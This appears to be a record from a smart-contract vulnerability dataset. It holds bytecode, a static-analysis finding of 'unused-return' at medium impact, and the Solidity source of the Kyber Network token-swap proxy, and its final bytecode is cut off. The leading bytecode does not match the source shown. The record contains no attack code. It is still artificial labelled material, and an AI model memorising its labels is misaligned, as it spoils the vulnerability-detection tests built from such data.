0x60806040526004361061004e5760003560e01c8063019fa4f1146100655780632e1997b6146100855780635c60da1b146100af578063621f6309146100dc578063abe5e587146100fc5761005d565b3661005d5761005b610111565b005b61005b610111565b34801561007157600080fd5b5061005b6100803660046105e2565b610143565b34801561009157600080fd5b5061009a610223565b60405190151581526020015b60405180910390f35b3480156100bb57600080fd5b506100c461023d565b6040516001600160a01b0390911681526020016100a6565b3480156100e857600080fd5b5061005b6100f73660046105fc565b61026c565b34801561010857600080fd5b506100c461035b565b61014161013c7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b61039a565b565b600061014d6103be565b9050336001600160a01b038216146101a25760405162461bcd60e51b81526020600482015260136024820152721c1c9bde1e4e881d5b985d5d1a1bdc9a5e9959606a1b60448201526064015b60405180910390fd5b604080516001600160a01b038084168252841660208201527f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f910160405180910390a17fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610380546001600160a01b0319166001600160a01b0384161790555050565b60008061022e6103be565b6001600160a01b031614905090565b60006102677f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b905090565b60006102766103be565b90506001600160a01b0381166102c05760405162461bcd60e51b815260206004820152600f60248201526e1c1c9bde1e4e881bdcdcda599a5959608a1b6044820152606401610199565b336001600160a01b0382161461030e5760405162461bcd60e51b81526020600482015260136024820152721c1c9bde1e4e881d5b985d5d1a1bdc9a5e9959606a1b6044820152606401610199565b610317836103ec565b815115610356576103548383604051806040016040528060138152602001721c1c9bde1e4e881cd95d1d5c0819985a5b1959606a1b81525061042c565b505b505050565b60006102676103be565b606061038a838360405180606001604052806027815260200161074b6027913961042c565b9392505050565b3b151590565b90565b3660008037600080366000845af43d6000803e8080156103b9573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103546001600160a01b031690565b6103f581610500565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6060833b61048b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610199565b600080856001600160a01b0316856040516104a691906106b9565b600060405180830381855af49150503d80600081146104e1576040519150601f19603f3d011682016040523d82523d6000602084013e6104e6565b606091505b50915091506104f682828661058d565b9695505050505050565b803b6105695760405162461bcd60e51b815260206004820152603260248201527f4552433139363750726f78793a206e657720696d706c656d656e746174696f6e604482015271081a5cc81b9bdd08184818dbdb9d1c9858dd60721b6064820152608401610199565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b6060831561059c57508161038a565b8251156105ac5782518084602001fd5b8160405162461bcd60e51b815260040161019991906106d5565b80356001600160a01b03811681146105dd57600080fd5b919050565b6000602082840312156105f3578081fd5b61038a826105c6565b6000806040838503121561060e578081fd5b610617836105c6565b9150602083013567ffffffffffffffff80821115610633578283fd5b818501915085601f830112610646578283fd5b81358181111561065857610658610734565b604051601f8201601f19908116603f0116810190838211818310171561068057610680610734565b81604052828152886020848701011115610698578586fd5b82602086016020830137856020848301015280955050505050509250929050565b600082516106cb818460208701610708565b9190910192915050565b60208152600082518060208401526106f4816040850160208701610708565b601f01601f19169190910160400192915050565b60005b8381101561072357818101518382015260200161070b565b838111156103545750506000910152565b634e487b7160e01b600052604160045260246000fdfe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122016fc71fba4779c07b8c046e09ba41d255bebdf8722908044d570ad473949a68964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,219 |
0xC14f34233071543E979F6A79AA272b0AB1B4947D
|
pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/KyberNetworkInterface.sol
/// @title Kyber Network interface
interface KyberNetworkInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(address trader, ERC20 src, uint srcAmount, ERC20 dest, address destAddress,
uint maxDestAmount, uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
}
// File: contracts/KyberNetworkProxyInterface.sol
/// @title Kyber Network interface
interface KyberNetworkProxyInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount,
uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
}
// File: contracts/SimpleNetworkInterface.sol
/// @title simple interface for Kyber Network
interface SimpleNetworkInterface {
function swapTokenToToken(ERC20 src, uint srcAmount, ERC20 dest, uint minConversionRate) public returns(uint);
function swapEtherToToken(ERC20 token, uint minConversionRate) public payable returns(uint);
function swapTokenToEther(ERC20 token, uint srcAmount, uint minConversionRate) public returns(uint);
}
// File: contracts/Utils.sol
/// @title Kyber constants contract
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
// File: contracts/Utils2.sol
contract Utils2 is Utils {
/// @dev get the balance of a user.
/// @param token The token type
/// @return The balance
function getBalance(ERC20 token, address user) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return user.balance;
else
return token.balanceOf(user);
}
function getDecimalsSafe(ERC20 token) internal returns(uint) {
if (decimals[token] == 0) {
setDecimals(token);
}
return decimals[token];
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns(uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
/**
* @title Contracts that should be able to recover tokens or ethers
* @author Ilan Doron
* @dev This allows to recover any tokens or Ethers received in a contract.
* This will prevent any accidental loss of tokens.
*/
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
/**
* @dev Withdraw all ERC20 compatible tokens
* @param token ERC20 The address of the token contract
*/
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/KyberNetworkProxy.sol
////////////////////////////////////////////////////////////////////////////////////////////////////////
/// @title Kyber Network proxy for main contract
contract KyberNetworkProxy is KyberNetworkProxyInterface, SimpleNetworkInterface, Withdrawable, Utils2 {
KyberNetworkInterface public kyberNetworkContract;
function KyberNetworkProxy(address _admin) public {
require(_admin != address(0));
admin = _admin;
}
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @dev makes a trade between src and dest token and send dest token to destAddress
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param destAddress Address to send tokens to
/// @param maxDestAmount A limit on the amount of dest tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @param walletId is the wallet ID to send part of the fees
/// @return amount of actual dest tokens
function trade(
ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
)
public
payable
returns(uint)
{
bytes memory hint;
return tradeWithHint(
src,
srcAmount,
dest,
destAddress,
maxDestAmount,
minConversionRate,
walletId,
hint
);
}
/// @dev makes a trade between src and dest token and send dest tokens to msg sender
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @return amount of actual dest tokens
function swapTokenToToken(
ERC20 src,
uint srcAmount,
ERC20 dest,
uint minConversionRate
)
public
returns(uint)
{
bytes memory hint;
return tradeWithHint(
src,
srcAmount,
dest,
msg.sender,
MAX_QTY,
minConversionRate,
0,
hint
);
}
/// @dev makes a trade from Ether to token. Sends token to msg sender
/// @param token Destination token
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @return amount of actual dest tokens
function swapEtherToToken(ERC20 token, uint minConversionRate) public payable returns(uint) {
bytes memory hint;
return tradeWithHint(
ETH_TOKEN_ADDRESS,
msg.value,
token,
msg.sender,
MAX_QTY,
minConversionRate,
0,
hint
);
}
/// @dev makes a trade from token to Ether, sends Ether to msg sender
/// @param token Src token
/// @param srcAmount amount of src tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @return amount of actual dest tokens
function swapTokenToEther(ERC20 token, uint srcAmount, uint minConversionRate) public returns(uint) {
bytes memory hint;
return tradeWithHint(
token,
srcAmount,
ETH_TOKEN_ADDRESS,
msg.sender,
MAX_QTY,
minConversionRate,
0,
hint
);
}
struct UserBalance {
uint srcBalance;
uint destBalance;
}
event ExecuteTrade(address indexed trader, ERC20 src, ERC20 dest, uint actualSrcAmount, uint actualDestAmount);
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @dev makes a trade between src and dest token and send dest token to destAddress
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param destAddress Address to send tokens to
/// @param maxDestAmount A limit on the amount of dest tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @param walletId is the wallet ID to send part of the fees
/// @param hint will give hints for the trade.
/// @return amount of actual dest tokens
function tradeWithHint(
ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId,
bytes hint
)
public
payable
returns(uint)
{
require(src == ETH_TOKEN_ADDRESS || msg.value == 0);
UserBalance memory userBalanceBefore;
userBalanceBefore.srcBalance = getBalance(src, msg.sender);
userBalanceBefore.destBalance = getBalance(dest, destAddress);
if (src == ETH_TOKEN_ADDRESS) {
userBalanceBefore.srcBalance += msg.value;
} else {
require(src.transferFrom(msg.sender, kyberNetworkContract, srcAmount));
}
uint reportedDestAmount = kyberNetworkContract.tradeWithHint.value(msg.value)(
msg.sender,
src,
srcAmount,
dest,
destAddress,
maxDestAmount,
minConversionRate,
walletId,
hint
);
TradeOutcome memory tradeOutcome = calculateTradeOutcome(
userBalanceBefore.srcBalance,
userBalanceBefore.destBalance,
src,
dest,
destAddress
);
require(reportedDestAmount == tradeOutcome.userDeltaDestAmount);
require(tradeOutcome.userDeltaDestAmount <= maxDestAmount);
require(tradeOutcome.actualRate >= minConversionRate);
ExecuteTrade(msg.sender, src, dest, tradeOutcome.userDeltaSrcAmount, tradeOutcome.userDeltaDestAmount);
return tradeOutcome.userDeltaDestAmount;
}
event KyberNetworkSet(address newNetworkContract, address oldNetworkContract);
function setKyberNetworkContract(KyberNetworkInterface _kyberNetworkContract) public onlyAdmin {
require(_kyberNetworkContract != address(0));
KyberNetworkSet(_kyberNetworkContract, kyberNetworkContract);
kyberNetworkContract = _kyberNetworkContract;
}
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty)
public view
returns(uint expectedRate, uint slippageRate)
{
return kyberNetworkContract.getExpectedRate(src, dest, srcQty);
}
function getUserCapInWei(address user) public view returns(uint) {
return kyberNetworkContract.getUserCapInWei(user);
}
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint) {
return kyberNetworkContract.getUserCapInTokenWei(user, token);
}
function maxGasPrice() public view returns(uint) {
return kyberNetworkContract.maxGasPrice();
}
function enabled() public view returns(bool) {
return kyberNetworkContract.enabled();
}
function info(bytes32 field) public view returns(uint) {
return kyberNetworkContract.info(field);
}
struct TradeOutcome {
uint userDeltaSrcAmount;
uint userDeltaDestAmount;
uint actualRate;
}
function calculateTradeOutcome (uint srcBalanceBefore, uint destBalanceBefore, ERC20 src, ERC20 dest,
address destAddress)
internal returns(TradeOutcome outcome)
{
uint userSrcBalanceAfter;
uint userDestBalanceAfter;
userSrcBalanceAfter = getBalance(src, msg.sender);
userDestBalanceAfter = getBalance(dest, destAddress);
//protect from underflow
require(userDestBalanceAfter > destBalanceBefore);
require(srcBalanceBefore > userSrcBalanceAfter);
outcome.userDeltaDestAmount = userDestBalanceAfter - destBalanceBefore;
outcome.userDeltaSrcAmount = srcBalanceBefore - userSrcBalanceAfter;
outcome.actualRate = calcRateFromQty(
outcome.userDeltaSrcAmount,
outcome.userDeltaDestAmount,
getDecimalsSafe(src),
getDecimalsSafe(dest)
);
}
}
|
0x6060604052600436106101455763ffffffff60e060020a60003504166301a12fd3811461014a578063238dafe01461016b578063267822471461019257806327a099d8146101c157806329589f61146102275780633bba21dc146102ad5780633ccdbb28146102d25780633de39c11146102fb578063408ee7fe1461030e5780634f61ff8b1461032d5780636432679f146103405780637409e2eb1461035f57806375829def1461038b57806377f50f97146103aa5780637a2a0456146103bd5780637acc8678146103d45780637c423f54146103f3578063809a9e55146104065780638eaaeecf146104465780639870d7fe1461046b578063abd188a81461048a578063ac8a584a146104a9578063b64a097e146104c8578063cb3c28c7146104de578063ce56c45414610510578063d4fac45d14610532578063f851a44014610557575b600080fd5b341561015557600080fd5b610169600160a060020a036004351661056a565b005b341561017657600080fd5b61017e6106da565b604051901515815260200160405180910390f35b341561019d57600080fd5b6101a5610744565b604051600160a060020a03909116815260200160405180910390f35b34156101cc57600080fd5b6101d4610753565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156102135780820151838201526020016101fb565b505050509050019250505060405180910390f35b61029b600160a060020a036004803582169160248035926044358316926064358116926084359260a4359260c43516916101049060e43590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506107bb95505050505050565b60405190815260200160405180910390f35b34156102b857600080fd5b61029b600160a060020a0360043516602435604435610ad9565b34156102dd57600080fd5b610169600160a060020a036004358116906024359060443516610b1d565b341561030657600080fd5b61029b610c14565b341561031957600080fd5b610169600160a060020a0360043516610c5e565b341561033857600080fd5b6101a5610d5a565b341561034b57600080fd5b61029b600160a060020a0360043516610d69565b341561036a57600080fd5b61029b600160a060020a036004358116906024359060443516606435610de4565b341561039657600080fd5b610169600160a060020a0360043516610e15565b34156103b557600080fd5b610169610eb0565b61029b600160a060020a0360043516602435610f4a565b34156103df57600080fd5b610169600160a060020a0360043516610f8d565b34156103fe57600080fd5b6101d461106f565b341561041157600080fd5b61042e600160a060020a03600435811690602435166044356110d5565b60405191825260208201526040908101905180910390f35b341561045157600080fd5b61029b600160a060020a0360043581169060243516611171565b341561047657600080fd5b610169600160a060020a03600435166111f7565b341561049557600080fd5b610169600160a060020a03600435166112c7565b34156104b457600080fd5b610169600160a060020a036004351661136c565b34156104d357600080fd5b61029b6004356114d8565b61029b600160a060020a03600435811690602435906044358116906064358116906084359060a4359060c4351661152b565b341561051b57600080fd5b610169600435600160a060020a0360243516611552565b341561053d57600080fd5b61029b600160a060020a03600435811690602435166115e5565b341561056257600080fd5b6101a5611696565b6000805433600160a060020a0390811691161461058657600080fd5b600160a060020a03821660009081526003602052604090205460ff1615156105ad57600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156106d65781600160a060020a03166005828154811015156105f257fe5b600091825260209091200154600160a060020a031614156106ce5760058054600019810190811061061f57fe5b60009182526020909120015460058054600160a060020a03909216918390811061064557fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560058054906106819060001983016118c1565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a16106d6565b6001016105cf565b5050565b600754600090600160a060020a031663238dafe082604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561072457600080fd5b6102c65a03f1151561073557600080fd5b50505060405180519150505b90565b600154600160a060020a031681565b61075b6118ea565b60048054806020026020016040519081016040528092919081815260200182805480156107b157602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610793575b5050505050905090565b60006107c56118fc565b60006107cf611913565b600160a060020a038c1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14806107f8575034155b151561080357600080fd5b61080d8c336115e5565b83526108198a8a6115e5565b6020840152600160a060020a038c1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610851573483818151019052506108e8565b600754600160a060020a03808e16916323b872dd913391168e60006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156108c257600080fd5b6102c65a03f115156108d357600080fd5b5050506040518051905015156108e857600080fd5b600754600160a060020a031663088322ef34338f8f8f8f8f8f8f8f60006040516020015260405160e060020a63ffffffff8d16028152600160a060020a03808b16600483019081528a82166024840152604483018a90528882166064840152878216608484015260a4830187905260c4830186905290841660e4830152610120610104830190815290916101240183818151815260200191508051906020019080838360005b838110156109a657808201518382015260200161098e565b50505050905090810190601f1680156109d35780820380516001836020036101000a031916815260200191505b509a50505050505050505050506020604051808303818588803b15156109f857600080fd5b6125ee5a03f11515610a0957600080fd5b5050505060405180519250610a289050835184602001518e8d8d6116a5565b905080602001518214610a3a57600080fd5b8781602001511115610a4b57600080fd5b8681604001511015610a5c57600080fd5b600160a060020a0333167f1849bd6a030a1bca28b83437fd3de96f3d27a5d172fa7e9c78e7b61468928a398d8c84518560200151604051600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a280602001519c9b505050505050505050505050565b6000610ae36118ea565b610b14858573eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee336b204fce5e3e25026110000000886000886107bb565b95945050505050565b60005433600160a060020a03908116911614610b3857600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610b9557600080fd5b6102c65a03f11515610ba657600080fd5b505050604051805190501515610bbb57600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b600754600090600160a060020a0316633de39c1182604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561072457600080fd5b60005433600160a060020a03908116911614610c7957600080fd5b600160a060020a03811660009081526003602052604090205460ff1615610c9f57600080fd5b60055460329010610caf57600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff191660019081179091556005805490918101610d2e83826118c1565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b600754600160a060020a031681565b600754600090600160a060020a0316636432679f83836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610dc457600080fd5b6102c65a03f11515610dd557600080fd5b50505060405180519392505050565b6000610dee6118ea565b610e0b868686336b204fce5e3e25026110000000886000886107bb565b9695505050505050565b60005433600160a060020a03908116911614610e3057600080fd5b600160a060020a0381161515610e4557600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610ecb57600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b6000610f546118ea565b610f8573eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee3486336b204fce5e3e25026110000000886000886107bb565b949350505050565b60005433600160a060020a03908116911614610fa857600080fd5b600160a060020a0381161515610fbd57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b6110776118ea565b60058054806020026020016040519081016040528092919081815260200182805480156107b157602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610793575050505050905090565b6007546000908190600160a060020a031663809a9e55868686856040516040015260405160e060020a63ffffffff8616028152600160a060020a03938416600482015291909216602482015260448101919091526064016040805180830381600087803b151561114457600080fd5b6102c65a03f1151561115557600080fd5b5050506040518051906020018051905091509150935093915050565b600754600090600160a060020a0316638eaaeecf8484846040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156111d457600080fd5b6102c65a03f115156111e557600080fd5b50505060405180519150505b92915050565b60005433600160a060020a0390811691161461121257600080fd5b600160a060020a03811660009081526002602052604090205460ff161561123857600080fd5b6004546032901061124857600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff191660019081179091556004805490918101610d2e83826118c1565b60005433600160a060020a039081169116146112e257600080fd5b600160a060020a03811615156112f757600080fd5b6007547f8936e1f096bf0a8c9df862b3d1d5b82774cad78116200175f00b5b7ba3010b02908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160078054600160a060020a031916600160a060020a0392909216919091179055565b6000805433600160a060020a0390811691161461138857600080fd5b600160a060020a03821660009081526002602052604090205460ff1615156113af57600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156106d65781600160a060020a03166004828154811015156113f457fe5b600091825260209091200154600160a060020a031614156114d05760048054600019810190811061142157fe5b60009182526020909120015460048054600160a060020a03909216918390811061144757fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560048054600019019061148390826118c1565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a16106d6565b6001016113d1565b600754600090600160a060020a031663b64a097e83836040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610dc457600080fd5b60006115356118ea565b61154589898989898989886107bb565b9998505050505050505050565b60005433600160a060020a0390811691161461156d57600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f19350505050151561159e57600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b6000600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561161d5750600160a060020a038116316111f1565b82600160a060020a03166370a082318360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561167457600080fd5b6102c65a03f1151561168557600080fd5b5050506040518051905090506111f1565b600054600160a060020a031681565b6116ad611913565b6000806116ba86336115e5565b91506116c685856115e5565b90508681116116d457600080fd5b8188116116e057600080fd5b8681036020840152818803835261170e835184602001516117008961171f565b6117098961171f565b611763565b604084015250909695505050505050565b600160a060020a038116600090815260066020526040812054151561174757611747826117fe565b50600160a060020a031660009081526006602052604090205490565b60006b204fce5e3e2502611000000085111561177e57600080fd5b6b204fce5e3e2502611000000084111561179757600080fd5b8282106117d257601283830311156117ae57600080fd5b84838303600a0a02670de0b6b3a764000085028115156117ca57fe5b049050610f85565b601282840311156117e257600080fd5b84828403600a0a670de0b6b3a76400008602028115156117ca57fe5b600160a060020a03811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561184457600160a060020a0381166000908152600660205260409020601290556118be565b80600160a060020a031663313ce567600060405160200